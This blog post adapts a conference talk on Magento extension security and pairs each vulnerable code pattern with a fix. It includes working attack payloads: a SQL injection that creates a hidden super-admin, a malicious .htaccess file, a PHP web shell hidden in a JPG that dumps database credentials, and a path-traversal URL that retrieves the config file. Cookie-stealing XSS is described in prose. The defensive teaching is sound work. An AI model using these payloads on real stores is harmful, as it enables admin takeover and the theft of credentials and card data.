This fall, Amasty's Lera, the Head of the QA department, and Alex, an experienced Magento developer, spoke at a Meet Magento event in Madrid.
To our joy, a lot of people showed active interest to this topic, that's why we're publishing the adapted text of the speech in case you wanted to get more details about the topic.
Together, we are talking about Magento security today. Now, why is it so important? You may have heard about all kinds of fraud going on there, such as
- mass billing information theft from Magento stores in 2013
- Kevin Mitnick attacks
- and just random stories about stolen money online from your relatives and friends
Not good! And you don’t want to be hacked either. So now we will talk about ways to avoid such cases.
Frankly speaking, now we're talking from our own experience, not a textbook. We did face a vulnerability in a released Amasty extension. Of course, we quickly fixed the issue, but more importantly we learned a lot from this case, and made our products even more secure. But when it comes to security, we're always for learning from other people's mistakes. We all work with Magento - our favorite platform of all times. We have over 200 extensions in our store, and every one of them must be safe.
Online store security is crucial! Why?
- firstly, you have to protect customers’ personal data. Hackers are using it for many purposes.
- secondly, you don’t want to reveal any of your business info, such as upcoming products and campaigns, partnership and financial stuff. It may hurt your business!
- thirdly, hackers are looking for ways of getting credit and debit cards info, mostly for stealing money from them. Your job is to prevent this.
- and last, but not least, if you care about security, customers trust you.
Today you’ll learn about:
- typical patterns of security breaches on Magento
- how to reveal them during testing
- and how to avoid them while writing code
This presentation will be useful for:
- merchants
- QA specialists
- Magento developers
Knowing your enemies
Now, How to know what we’re defending from? The list of the popular magento security vulnerabilities is available at Open Web Application Security project page. We’ll use it as a reference for all the points of our post today.
In accordance with this list, here are the main vulnerabilities to test on Magento we’re speaking of today.
- Injections: SQL injections, file injections, code injections
- Cross-site scripting
- Insecure direct object references
- Broken authentication and session management
- API
- More security stuff
SQL Injections
And we’re starting with the injections. Hackers have several ways of introducing, or injecting the code into your application. This enables them to access hidden or private information.
The most popular type of injections is SQL injection. It is aimed at getting access to a website database. Here are the main patterns of SQL injections you should be looking for.
- Using GET POST variables without validation and processing
[php]$data = $model->getData(GET[‘field_name’])[/php]
- Raw SQL queries
[php]$sql = "INSERT INTO $table (attribute_id , store_id, $entityIdName, `value`) ";
$db->query($sql);
[/php]
- Building parameters of WHERE queries using concatenation. In such a condition, a variable can be unescaped and contain SQL code as a potential threat.
[php]
$select->where(‘attribute_id = ’. $attributeId);[/php]
- Same goes to -order() -> join() ->group() functions
SQL Injections via Forms
Here’s what we found in an extension we were testing a couple of weeks ago:
[php]$userdata = $connection->fetchRow("SELECT firstname, lastname FROM admin_user WHERE username = '" . $observer->getUserName() . "'");[/php]
The variable is taken straight from the username field. It means that you can add the quote mark, close the current query and insert a new malicious one. It’s a vulnerability! Let’s see it in action.
I went to the Magento admin login page and inserted the SQL injection code:
[php] test';SET @SALT = "rp"; SET @PASS = CONCAT(MD5( CONCAT(@SALT, "super_secure_password") ), CONCAT(":", @SALT)); SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL; INSERT INTO `admin_user` (firstname, lastname, email, username, password, created, lognum, reload_acl_flag, is_active, extra, rp_token_created_at) VALUES ('BREAKING', 'DONE', '[email protected]', 'hacker', @PASS,NOW(), 0, 0, 1, @EXTRA,NOW()); INSERT INTO `admin_role` (parent_id, tree_level, sort_order, role_type, user_id, role_name) VALUES (1, 2, 0, 'U', (SELECT user_id FROM admin_user WHERE username = 'your_username'), 'BREAKING');select * from 'admin_user[/php]
To make it more vivid, we changed the input field to textarea. We don’t need to go through the code of the injection. What we need is to know it creates a super admin with unlimited permissions.
Let us fix the code to prevent this breach. Here's the code before:
[php]$userdata = $connection->fetchRow("SELECT firstname, lastname FROM admin_user WHERE username = '" . $observer->getUserName() . "'");[/php]
And after:
[php]$userdata = Mage::getModel('admin/user')->loadByUsername($observer->getUser()->getUsername());[/php]
Now we pass the parameter to the load function, and in the model it is escaped by WHERE function.
While implementing these security measures, having a reliable SQL editor online can streamline the process of understanding and optimizing your database queries.
SQL Injections via URLs
Also, the parameters can be passed via the injection not only this way. It can be done in the URL using GET method. This vulnerability is similar to the previous one. The difference is only in the accepted data.
Now we know about these patterns and can analyze all the parameters passed to the controller to close the security holes.
SQL Injections via Cookies
Cookies can also be vulnerable to attacks. Here’s what we found in a sample of code:
[php]$userName = Mage::app()->getCookie()->get('current_user');
$collection->getSelect()-where('username=' . $userName);
[/php]
The cookie parameter is passed to the collection, and it’s not handled. We are setting these cookie values on user login. Can we can trust it? Well... Yes. But a hacker can still change it externally.
OK then! Let’s correct the code:
[php]$userName = Mage::app()->getCookie()->get('current_user');
$collection->getSelect()-where('username=?', $userName); [/php]
It’s a small change. But you let Magento know which parameters it should quote.
Have we got anything else? Do we trust the database contents? System config data, for example? Well, we do. They have been already handled. And the admins are setting it, by the way. But here’s a way out for a hacker.
SQL Injections via System Config Data
Say, the site’s admin created a separate role with permissions for a single config section. The user logins there and injects the following code:
[php] $query = $query . 'WHERE date_time < NOW() - INTERVAL ' . $days . ' DAY';
Mage::getSingleton('core/resource')->getConnection('core_write') ->query($query) ;[/php]
It is run by cron. And when it is executed, the user gets unlimited permissions and is able to do whatever he wants. Backend area must be secured, too! Let’s fix this:
[php]$days = (int)$days;
$query = "DELETE FROM `$tableLoginAttemptsName`";
$query = $query . 'WHERE date_time < NOW() - INTERVAL :days DAY';
Mage::getSingleton('core/resource')->getConnection('core_write')->query( $query, array('days' => $days));[/php]
File Injections
As we shut these holes down, moving to file injections. On e-commerce stores, you don’t meet file uploading that often. So it’s easier to check if there are any vulnerabilities.
Here’s an example from a Customer Attributes extension. There’s a file upload field in it. We attempt to download a PHP file instead of an image.
If your attribute is not configured to accept only certain file extensions, we will be able to upload malicious files of any type. After that, we will be able to run the file if we know where it is stored: http://example.com/pub/media/customer/c/o/code.php
Good shot, but not this time! Here’s what you will see:
We’re smart, and we configured the htaccess to stop any php files from running in the media folder.
Order deny,allow
Deny from all
And what if we upload our own htaccess?
http://example.com/media/customer/_/h/.htaccess
With this piece inside?
[php]
<IfModule mod_php5.c>
php_flag engine 1
</IfModule>
<IfModule mod_php7.c>
php_flag engine 1
</IfModule>
Order allow,deny
Allow from all
[/php]
It lets me upload the php file into the media folder and run it. See for yourself!
http://example.comy/media/customer/_/h/.hcode.php
This time, we forbid uploading PHP files. Then, we block htaccess uploading and finally implement file uploading via Magento Uploader. It has a feature for checking file extensions. Voila.
But the hackers won’t stop there. They will upload a JPG file, but with a hidden piece of PHP code inside. If it is executed, they’ll get access to the database! In case htaccess lets them do it, of course. Let’s get the previous file and add the following line into it:
AddType application/x-httpd-php.jpg
It allows us to run the code from the image. Using a special tool, say, jhead, we change this apple pic. And leave some malicious code inside:
[php]
<style>body{font-size: 0;}h1{font-size: 12px}</style><h1><?php if(isset($_REQUEST['cmd'])){$test = require_once ("../../../../../app/etc/env.php");var_dump($test["db"]);echo "Success";}else{echo '<img src="./.h-apple-orig.jpg" border=0>';}
[/php]
Visually, the pic hasn’t changed. If the GET parameter is not empty, the result is access to the database.
http://example.com/pub/media/customer/_/h/.h-apple.jpg?cmd=test
Now we just open this URL…
To stop this madness, let’s use this code part for image uploading:
[php]
$uploader = new Mage_Core_Model_File_Uploader('image');
if ($allowed = $this->getAllowedExtensions($type)) {
$uploader->setAllowedExtensions($allowed);
}
$uploader->setAllowRenameFiles(true);
$uploader->setFilesDispersion(false);
[/php]
Luckily, some awesome guys at Magento created a safe solution.. Let’s use this method:
[php]$uploader->addValidateCallback(
Mage_Core_Model_File_Validator_Image::NAME,
Mage::getModel('core/file_validator_image'),
'validate'
);
[/php]
It checks the code for acceptable file extension values and resaves the image. Any code that could be executed will be removed at this point.
Now we’re safe from injections! To sum it up, always check the code for the mentioned patterns, test forms, cookies, URLs and even config settings for security breaches.
Use data typing and escaping, validate data for confidence limits, and use Magento functions for SELECT generation.
Cross-site Scripting
Cross-site Scripting - Frontend
In general, while testing for XSS holes, it's important to understand behavior patterns. Look for places where users enter data, and other users are able to see it. Then check if the code was handled for html text.
If the controller file data is saved this way:
[php]
$customData = $this->getRequest()->getParams();
$model->setCustomData($customData)
$model->save();
[/php]
And the module's template contains code like this:
[php]
<?php echo $model->getCustomData()?>[/php]
...most probably the data output wasn't handled. And if the text has an XSS vulnerability which wasn't handled - it'll work. Let's see how this goes in real life.
We're going to test the Custom Forms extension. It collects users' data and lets you see it in in the backend.
We put some javascript code into the text field of the extension. The code contains a link to a picture, and we have the access to the server where it is stored. Using the document.cookie function, we get the user cookie and pass it as a get parameter to the picture location. As we submit the form, the admin can see the message in the Submitted Data backend area. It doesn't look suspicious, but his cookie will be stolen.
Now we can get the stolen admin cookie from the access.log of our server.
And if we add the stolen cookie to our browser for the compromised website, we can access the admin panel without logging in. SO bad.
That's why store administrators should make their cookies HTTP only. But even if they didn't do it, we can still protect the form. Let's handle all the output values with the following function:
[php]$value = $this->helper->escapeHtml($value);[/php]
By the way, if we do need to output HTML, we can pass the list of tags which won't be escaped, as a second parameter.
[php]public function escapeHtml($data, $allowedTags = null) [/php]
Cross-site Scripting - Backend
OK, I see that you have protected the admin user, but what about customers' personal data? Take the Shipping Table Rates extension. It lets merchants add their own shipping methods. Say, you're a common admin and have access only to shipping methods settings. You can insert the code into the comment for the shipping method, and it lets you steal the credit card data. We're not showing you this code right now because it's complicated and it sends data to another server. But you know you can do it, and here's the alert with the credit cards data.
Now, when a user buys something on this site, you can access their credit card data and buy anything you want.
Basically, this means it's not only about protecting admins from users. It's about protecting everyone from everyone. And in this case the technique for shutting down the vulnerability will be exactly the same as in the previous case.
Insecure Direct Object Reference
Magento stores configs - logins and passwords - in the app/etc/local.xml (env.php) file. If a hacker gets his hands on it, he will have access to the database and basically to the whole site.
To stop this mess, we need to block any ways of downloading this file. So we start looking for code that generates a link for file downloading (blockers and helpers). How can a hacker get the local.xml file, if the site generates a link for a completely different file? Let's have a look at the pattern. Here, to generate and pass the file path, a request parameter is used.
[php]
$file = $this->getRequest()->getParam(‘file’);
$fileName = CustomerMetadataInterface::ENTITY_TYPE_CUSTOMER.‘/’. $file;
[/php]
And if we pass the file name of this form ‘../../../app/etc/env.php’, the site will merge the lines without validation and give us the config file.
Let's torture another extension, which lets merchants add a file upload field to the customer's account. We're going to upload a file with a picture there.
Now, we have a generated URL for downloading, and the file is a parameter in it. Using any developer console, let's replace this parameter with our own code, transformed with the url_encode() function. Now we have the following URL:
http://example.com/amcustomerattr/index/viewfile/file/Li4vLi4vLi4vYXBwL2V0Yy9lbnYucGhw/customer_id/1/
Just one click - we got the configs file and access to the whole site. Wow.
How to fix this long story short? Just add the function which corrects the filepath parts merging.
[php]
$file = Uploader::getCorrectFileName($file);
/**
* Correct filename with special chars and spaces
*
* @param string $fileName
* @return string
*/
public static function getCorrectFileName($fileName)
{
$fileName = preg_replace(‘/[^a-z0-9_\\-\\.]+/i‘, ‘_’, $fileName);
$fileInfo = pathinfo($fileName);
if (preg_match(‘/^_+$/’, $fileInfo[‘filename’])) {
$fileName = ‘file.’ . $fileInfo[‘extension’];
}
return $fileName;
}
[/php]
-
Broken authentication and session management
http://exmaple.com/media/customer/passport/1.jpg
http://example.com/media/customer/passport/2.jpg
In this case, a simple brute force session and some logic let you get the images from all the customers. On a safe Magento store, the file link looks like this:
http://example.com/amcustomerattr/index/viewfile/file/Li4vLi4vLi4vYXBwL2V0Yy9lbnYucGhw/customer_id/7dc4acc58270/
API Vulnerabilities
Firstly, we'd like to mention correct permission settings for creating APIs, ACL resources, to be exact.
Here's an example. Maybe you have created an insecure API without resources section, and this API creates an order. Using this hole, a hacker can create an unlimited number of orders and empty your stock quantity in a minute, so customers won't be able to buy from you.
Secondly, you have to remember that SQL injections and XSS data can be passed via API, too. So please do apply the patterns mentioned above while working with APIs.
More Magento Security Stuff
- make sure that values which you save into users' cookies can't give unwanted data access due to brute force changes;
- check if user and admin passwords are strong enough;
- use additional backend security measures, such as IP restrictions;
- install security patches in time;
- make sure pages that send or show personal or billing data should use HTTPS;
- and configure your servers for safety.
Of course, you can use various instruments for faster and easier safety testing. We’re not talking about them today. This topic qualifies for another full presentation. Our purpose today was to explain the patterns that hackers use to access your data. To use these tools, you firstly need to have a clear idea of how security holes slip into your applications. Once you’re on it, feel free to experiment with testing software and automation.
How to test Magento for vulnerabilities
Here are the points to build your testing process upon:
- Look for common patterns first.
- Check all the forms to prevent SQL and JavaScript injections.
- Make sure your URLs are not vulnerable to invalid data passed via REQUEST.
- Check your cookies.
- Test file uploading for security holes.
- Check for users’ data access via direct links.
- Hacker movies are not helping.
How to develop Magento products for safety
And here are our tips on writing safe applications for Magento.
- Validate all the incoming data, use data typing and validate for confidence limits
- Data escaping is a must!
- Data validation for API is a must, too.
- Use Magento functions, they’re awesome. Pay attention to the IDE hints, for example, for the highlighted raw SQL queries.
- Make sure your server environment is configured for safety.
- Think, think, and then think again. Think like a hacker, too.
That’s a wrap for today. Wehave introduced the main vulnerabilities your Magento store can have and explained how to fight them. Mindful coding and proper testing aren't that complicated. But having a store free from vulnerabilities is a key factor to your store’s success. Stay safe!